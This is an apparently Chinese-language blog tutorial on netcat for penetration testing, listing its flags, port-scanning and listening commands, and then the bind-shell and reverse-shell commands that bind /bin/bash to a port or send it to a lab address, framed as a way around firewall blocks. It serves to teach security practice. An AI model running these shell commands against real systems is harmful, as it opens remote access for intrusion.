nc用的也挺多的,它的全称为NetCat

参数说明:

-c shell commands    与'-e'一样效果(use /bin/sh to exec )
-e filename          程序重定向
-d                   无命令行界面,使用后台模式
 -i <延迟秒数>        设置时间间隔,以便传送信息及扫描通信端口;
-l                   监听模式,用于入站连接 
-L                   监听模式,连接关闭后仍然继续监听,直到CTR+C 
-n                   IP地址,不能用域名 
-o <文件名>           记录16进制的传输 
-p <端口>             本地端口号 
-r                   随机本地及远程端口 
-s <地址>             设置本地主机送出数据包的IP地址
-t                    使用Telnet交互方式 
-T tos                set Type Of Service
-u                    UDP模式 
-v                    详细输出,用-vv将更详细 
-w <数字>              timeout延时间隔 
-z                    将输入,输出关掉(用于扫锚时)

nc的功能:

  • 扫描指定的ip端口情况
  • 端口转发数据
  • 提交自定义数据包

常用命令:

在渗透中最常用的就是监听端口,连接端口等

nc -vlp 4444  #开启本机的4444端口并将监听到的信息输出到当前窗口,为端口转发shell的基本

将监听道德信息输出到某个路径下的日志文件

nc -lp 4444 > /home/kali/log,dat

连接到一个主机的某个端口

nc -nvv 192.168.56.120 1234

扫描某个端口

nc -v ip port    #扫瞄某 IP 的某个端口,返回端口信息详细输出。如:nc -v 192.168.56.103 80
nc -v -z ip port-port #扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z 192.168.56.103-1024
nc -v -z -u ip port-port #扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z -u 192.168.56.103-1024
nc -nvv -w2 -z ip port-port#扫锚某IP的端口段,连接超时时间为2秒。如:nc -nvv -w2 -z 192.168.56.103-1024

正向连接和反向连接:

正向:远程主机(ip:192.168.56.120)上运行nc -lp 1234 -t -e /bin/bash 意思是绑定远程主机的/bin/bash到1234端口,当本地主机(ip:192.168.56.104)连接远程主机成功就会返回给本地主机一个shell。

nc -lp 1234 -t -e /bin/bash	#远程主机
nc -nvv 192.168.56.120 1234	#本地主机

反向:先在本地运行(有公网ip)nc -lvvp 1234开启1234端口进行监听等待远程主机连接,在远程主机上运行nc -t -e /bin/bash 192.168.56.120 1234将远程主机的/bin/bash重定向到了本地主机端口号为1234上了,连接成功后,本地主机会得到一个shell

nc -t -e /bin/bash 192.168.56.120 1234    #远程主机
nc -lvvp 1234						#本地主机

这种情况就是常用的内网端口转发功能,反弹shell,因为有主机发动的情况,正向连接远程主机的某个端口可能会被拦截

后续会更新更多工具的使用说明,工具使用的熟练度取决于在项目中的随机应变,多练手才会更好的掌握工具的使用~

每天学习一丢丢~进步一丢丢~